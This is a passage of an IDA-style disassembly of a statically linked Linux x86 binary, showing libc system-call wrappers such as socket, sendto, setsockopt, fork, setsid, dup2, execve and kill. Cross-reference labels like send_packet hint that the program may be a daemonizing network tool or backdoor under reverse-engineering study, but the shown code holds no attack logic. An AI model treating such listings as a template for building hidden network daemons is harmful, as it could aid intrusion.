var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], ecx
		mov	edx, 9
		lea	ecx, [ebp+var_10]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056C33
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056C33:				; CODE XREF: send+34j
		mov	eax, edx
		mov	ebx, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
send		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sendto		proc near		; CODE XREF: send_packet+16Dp
					; sub_8049174+35Ap ...

var_24		= byte ptr -24h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_14]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_C], ebx
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], edi
		mov	edx, 0Bh
		lea	ecx, [ebp+var_18]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056C8D
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056C8D:				; CODE XREF: sendto+42j
		mov	eax, edx
		lea	esp, [ebp+var_24]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sendto		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

setsockopt	proc near		; CODE XREF: main+821p

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	esi, [ebp+arg_10]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], ecx
		mov	ebx, [ebp+arg_C]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], esi
		mov	edx, 0Eh
		lea	ecx, [ebp+var_14]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056CE6
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056CE6:				; CODE XREF: setsockopt+3Bj
		mov	eax, edx
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
setsockopt	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

socket		proc near		; CODE XREF: main+12Ep	main+7D2p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], ecx
		mov	edx, 1
		lea	ecx, [ebp+var_C]
		mov	eax, 66h
		mov	ebx, edx
		int	80h		; LINUX	- sys_socketcall
		mov	edx, eax
		test	edx, edx
		jge	short loc_8056D31
		neg	edx
		mov	__errno, edx
		mov	edx, 0FFFFFFFFh

loc_8056D31:				; CODE XREF: socket+2Ej
		mov	eax, edx
		mov	ebx, [ebp+var_10]
		mov	esp, ebp
		pop	ebp
		retn
socket		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056D3C	proc near		; CODE XREF: __libc_init+50p
					; DATA XREF: __libc_subinit:080675CCo
		push	ebp
		mov	ebp, esp
		mov	esp, ebp
		pop	ebp
		retn
sub_8056D3C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__libc_init	proc near		; CODE XREF: start+3Fp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		mov	ebx, offset off_80675CC
		cmp	ebx, offset _term_proc
		jnb	loc_8056E0A
		mov	eax, offset _term_proc
		sub	eax, offset off_80675CC
		and	eax, 0Fh
		cmp	ebx, offset _term_proc
		jge	short loc_8056DAE
		test	eax, eax
		jz	short loc_8056DC8
		cmp	eax, 4
		jle	short loc_8056DAE
		cmp	eax, 8
		jle	short loc_8056D9E
		cmp	eax, 0Dh
		jge	short loc_8056DC8
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, ds:off_80675CC
		call	eax ; sub_8056D3C
		add	esp, 0Ch
		mov	ebx, offset _term_proc

loc_8056D9E:				; CODE XREF: __libc_init+3Ej
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx]
		call	eax
		add	esp, 0Ch
		add	ebx, 4

loc_8056DAE:				; CODE XREF: __libc_init+30j
					; __libc_init+39j
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx]
		call	eax
		add	esp, 0Ch
		add	ebx, 4
		cmp	ebx, offset _term_proc
		jnb	short loc_8056E0A
		lea	esi, [esi]

loc_8056DC8:				; CODE XREF: __libc_init+34j
					; __libc_init+43j ...
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx]
		call	eax
		add	esp, 0Ch
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+4]
		call	eax
		add	esp, 0Ch
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+8]
		call	eax
		add	esp, 0Ch
		push	esi
		push	edi
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+0Ch]
		call	eax
		add	esp, 0Ch
		add	ebx, 10h
		cmp	ebx, offset _term_proc
		jb	short loc_8056DC8

loc_8056E0A:				; CODE XREF: __libc_init+17j
					; __libc_init+80j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
__libc_init	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056E14	proc near		; CODE XREF: vfprintf+152Bp
					; vfprintf+2FE3p ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		call	sub_805E954
		test	ebx, ebx
		jl	short loc_8056E30
		cmp	ds:dword_806BBB8, ebx
		jge	short loc_8056E40

loc_8056E30:				; CODE XREF: sub_8056E14+12j
		push	ebx
		push	offset aUnknownErrorD ;	"Unknown error %d"
		push	esi
		call	sprintf
		mov	eax, esi
		jmp	short loc_8056E59
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056E40:				; CODE XREF: sub_8056E14+1Aj
		mov	eax, ds:dword_806AE98[ebx*4]
		push	eax
		lea	eax, [ebx+1]
		push	eax
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	catgets

loc_8056E59:				; CODE XREF: sub_8056E14+2Aj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8056E14	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

__set_errno	proc near		; CODE XREF: chdir+17p	close+17p ...
		push	ebp
		mov	ebp, esp
		mov	eax, offset __errno
		mov	esp, ebp
		pop	ebp
		retn
__set_errno	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8056E70	proc near		; CODE XREF: sub_804EA0C+2AAp
					; sub_8054EC8+31Ep

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		mov	[ebp+var_C], 0
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_C], ecx
		jnb	loc_8057016
		mov	ebx, [ebp+arg_4]
		mov	eax, ecx
		and	eax, 1Fh
		cmp	[ebp+var_C], ecx
		jge	short loc_8056F12
		test	eax, eax
		jz	loc_8056F44
		cmp	eax, 8
		jle	short loc_8056F12
		cmp	eax, 10h
		jle	short loc_8056EE2
		cmp	eax, 19h
		jge	loc_8056F44
		mov	eax, 8
		cmp	ecx, 8
		ja	short loc_8056EC3
		mov	eax, [ebp+arg_8]

loc_8056EC3:				; CODE XREF: sub_8056E70+4Ej
		push	eax
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	writev
		add	esp, 0Ch
		test	eax, eax
		jl	loc_8056FF5
		add	ebx, 40h
		add	esi, 8
		add	[ebp+var_C], eax

loc_8056EE2:				; CODE XREF: sub_8056E70+3Bj
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056EF3
		mov	eax, edx

loc_8056EF3:				; CODE XREF: sub_8056E70+7Fj
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	writev
		add	esp, 0Ch
		test	eax, eax
		jl	loc_8056FF5
		add	ebx, 40h
		add	esi, 8
		add	[ebp+var_C], eax

loc_8056F12:				; CODE XREF: sub_8056E70+29j
					; sub_8056E70+36j
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056F23
		mov	eax, edx

loc_8056F23:				; CODE XREF: sub_8056E70+AFj
		push	eax
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	writev
		add	esp, 0Ch
		test	eax, eax
		jl	loc_8056FF5
		add	ebx, 40h
		add	esi, 8
		jmp	loc_805700A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8056F44:				; CODE XREF: sub_8056E70+2Dj
					; sub_8056E70+40j ...
		mov	edx, [ebp+arg_8]
		sub	edx, esi
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056F55
		mov	eax, edx

loc_8056F55:				; CODE XREF: sub_8056E70+E1j
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	writev
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jl	loc_8056FF5
		add	ebx, 40h
		lea	eax, [esi+8]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056F87
		mov	eax, edx

loc_8056F87:				; CODE XREF: sub_8056E70+113j
		push	eax
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	writev
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jl	short loc_8056FF5
		add	ebx, 40h
		lea	eax, [esi+10h]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056FB5
		mov	eax, edx

loc_8056FB5:				; CODE XREF: sub_8056E70+141j
		push	eax
		push	ebx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	writev
		mov	edx, eax
		add	esp, 0Ch
		test	edx, edx
		jl	short loc_8056FF5
		add	ebx, 40h
		lea	eax, [esi+18h]
		add	[ebp+var_C], edx
		mov	edx, [ebp+arg_8]
		sub	edx, eax
		mov	eax, 8
		cmp	edx, 8
		ja	short loc_8056FE3
		mov	eax, edx

loc_8056FE3:				; CODE XREF: sub_8056E70+16Fj
		push	eax
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	writev
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8057004

loc_8056FF5:				; CODE XREF: sub_8056E70+63j
					; sub_8056E70+93j ...
		cmp	__errno, 26h
		jz	short loc_8057020
		jmp	loc_8057128
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8057004:				; CODE XREF: sub_8056E70+183j
		add	ebx, 40h
		add	esi, 20h

loc_805700A:				; CODE XREF: sub_8056E70+CFj
		add	[ebp+var_C], eax
		cmp	[ebp+arg_8], esi
		ja	loc_8056F44

loc_8057016:				; CODE XREF: sub_8056E70+18j
		mov	eax, [ebp+var_C]
		jmp	loc_8057128
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8057020:				; CODE XREF: sub_8056E70+18Cj
		mov	__errno, 0
		mov	[ebp+var_C], 0
		xor	esi, esi
		mov	ecx, [ebp+arg_8]
		cmp	[ebp+var_C], ecx
		jnb	short loc_80570AC
		mov	eax, ecx
		and	eax, 3
		cmp	[ebp+var_C], ecx
		jge	short loc_805706C
		test	eax, eax
		jz	short loc_805707C
		cmp	eax, 1
		jle	short loc_805706C
		cmp	eax, 2
		jle	short loc_8057061
		mov	edi, [ebp+var_C]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ecx+edi*8+4]
		mov	[ebp+var_C], edi
		inc	esi

loc_8057061:				; CODE XREF: sub_8056E70+1E1j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+4]
		add	[ebp+var_C], ecx
		inc	esi

loc_805706C:				; CODE XREF: sub_8056E70+1D3j
					; sub_8056E70+1DCj
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+4]
		add	[ebp+var_C], edi
		inc	esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_80570AC

loc_805707C:				; CODE XREF: sub_8056E70+1D7j
					; sub_8056E70+23Aj
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+4]
		add	[ebp+var_C], ecx
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+0Ch]
		add	[ebp+var_C], edi
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+esi*8+14h]
		add	[ebp+var_C], ecx
		mov	edi, [ebp+arg_4]
		mov	edi, [edi+esi*8+1Ch]
		add	[ebp+var_C], edi
		add	esi, 4
		cmp	[ebp+arg_8], esi
		ja	short loc_805707C

loc_80570AC:				; CODE XREF: sub_8056E70+1C9j
					; sub_8056E70+20Aj
		cmp	[ebp+var_C], 0
		jnz	short loc_80570B8
		xor	eax, eax
		jmp	short loc_8057128
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80570B8:				; CODE XREF: sub_8056E70+240j
		mov	eax, [ebp+var_C]
		add	eax, 3
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_4], esp
		mov	ecx, [ebp+var_C]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_8], esp
		xor	esi, esi
		cmp	[ebp+arg_8], esi
		jbe	short loc_8057117
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80570D8:				; CODE XREF: sub_8056E70+2A5j
		mov	ecx, [ebp+var_10]
		mov	edi, [ebp+arg_4]
		cmp	[edi+esi*8+4], ecx
		jbe	short loc_80570EC
		mov	ebx, [ebp+var_10]
		jmp	short loc_80570F3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80570EC:				; CODE XREF: sub_8056E70+272j
		mov	edi, [ebp+arg_4]
		mov	ebx, [edi+esi*8+4]

loc_80570F3:				; CODE XREF: sub_8056E70+277j
		mov	ecx, [ebp+arg_4]
		mov	eax, [ecx+esi*8]
		push	ebx
		push	eax
		mov	edi, [ebp+var_8]
		push	edi
		call	memcpy
		add	esp, 0Ch
		add	edi, ebx
		mov	[ebp+var_8], edi
		sub	[ebp+var_10], ebx
		jz	short loc_8057117
		inc	esi
		cmp	[ebp+arg_8], esi
		ja	short loc_80570D8

loc_8057117:				; CODE XREF: sub_8056E70+263j
					; sub_8056E70+29Fj
		mov	ecx, [ebp+var_C]
		push	ecx
		mov	edi, [ebp+var_4]
		push	edi
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	write

loc_8057128:				; CODE XREF: sub_8056E70+18Ej
					; sub_8056E70+1A9j ...
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8056E70	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

chdir		proc near		; CODE XREF: main+DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 0Ch
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_chdir
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057158
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057158:				; CODE XREF: chdir+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
chdir		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

close		proc near		; CODE XREF: main+E4p main+EBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 6
		mov	ebx, [ebp+arg_0]
		int	80h		; LINUX	- sys_close
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057184
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057184:				; CODE XREF: close+12j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
close		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

dup2		proc near		; CODE XREF: main+919p	main+927p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 3Fh
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		int	80h		; LINUX	- sys_dup2
		mov	edx, eax
		test	edx, edx
		jge	short loc_80571B3
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80571B3:				; CODE XREF: dup2+15j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
dup2		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

execve		proc near		; CODE XREF: execl+5Cp	system+12Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 0Bh
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_execve
		mov	edx, eax
		test	edx, edx
		jge	short loc_80571E2
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80571E2:				; CODE XREF: execve+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
execve		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

fork		proc near		; CODE XREF: main+A1p main+C2p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 2
		int	80h		; LINUX	- sys_fork
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057208
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057208:				; CODE XREF: fork+Ej
		mov	esp, ebp
		pop	ebp
		retn
fork		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

geteuid		proc near		; CODE XREF: main+47p
		push	ebp
		mov	ebp, esp
		mov	eax, 31h
		int	80h		; LINUX	- sys_geteuid
		mov	edx, eax
		test	edx, edx
		jge	short loc_805722C
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_805722C:				; CODE XREF: geteuid+Ej
		mov	esp, ebp
		pop	ebp
		retn
geteuid		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

getpid		proc near		; CODE XREF: res_randomid+11p
					; sub_8054EC8+F3p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 14h
		int	80h		; LINUX	- sys_getpid
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057250
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057250:				; CODE XREF: getpid+Ej
		mov	esp, ebp
		pop	ebp
		retn
getpid		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

gettimeofday	proc near		; CODE XREF: res_randomid+Cp
					; sub_8063B04+145p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 4Eh
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		int	80h		; LINUX	- sys_gettimeofday
		mov	edx, eax
		test	edx, edx
		jge	short loc_805727B
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_805727B:				; CODE XREF: gettimeofday+15j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
gettimeofday	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

ioctl		proc near		; CODE XREF: reorder_addrs+76p
					; reorder_addrs+F7p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 36h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_ioctl
		mov	edx, eax
		test	edx, edx
		jge	short loc_80572AA
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80572AA:				; CODE XREF: ioctl+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
ioctl		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

kill		proc near		; CODE XREF: main+497p	main+9D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 25h
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		int	80h		; LINUX	- sys_kill
		mov	edx, eax
		test	edx, edx
		jge	short loc_80572D7
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_80572D7:				; CODE XREF: kill+15j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
kill		endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

open		proc near		; CODE XREF: sub_8054EC8+38Cp
					; sub_805A254+A0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 5
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_open
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057306
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057306:				; CODE XREF: open+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
open		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

read		proc near		; CODE XREF: sub_804EA0C+312p
					; sub_804EA0C+407p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, 3
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		int	80h		; LINUX	- sys_read
		mov	edx, eax
		test	edx, edx
		jge	short loc_8057336
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
		mov	eax, 0FFFFFFFFh

loc_8057336:				; CODE XREF: read+18j
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
read		endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

setsid		proc near		; CODE XREF: main+B4p main+46Ep ...
		push	ebp
		mov	ebp, esp
		mov	eax, 42h
		int	80h		; LINUX	- sys_setsid
		mov	edx, eax
		test	edx, edx
		jge	short loc_805735C
		neg	edx
		push	edx
		call	__set_errno
		pop	edx
		mov	[eax], edx
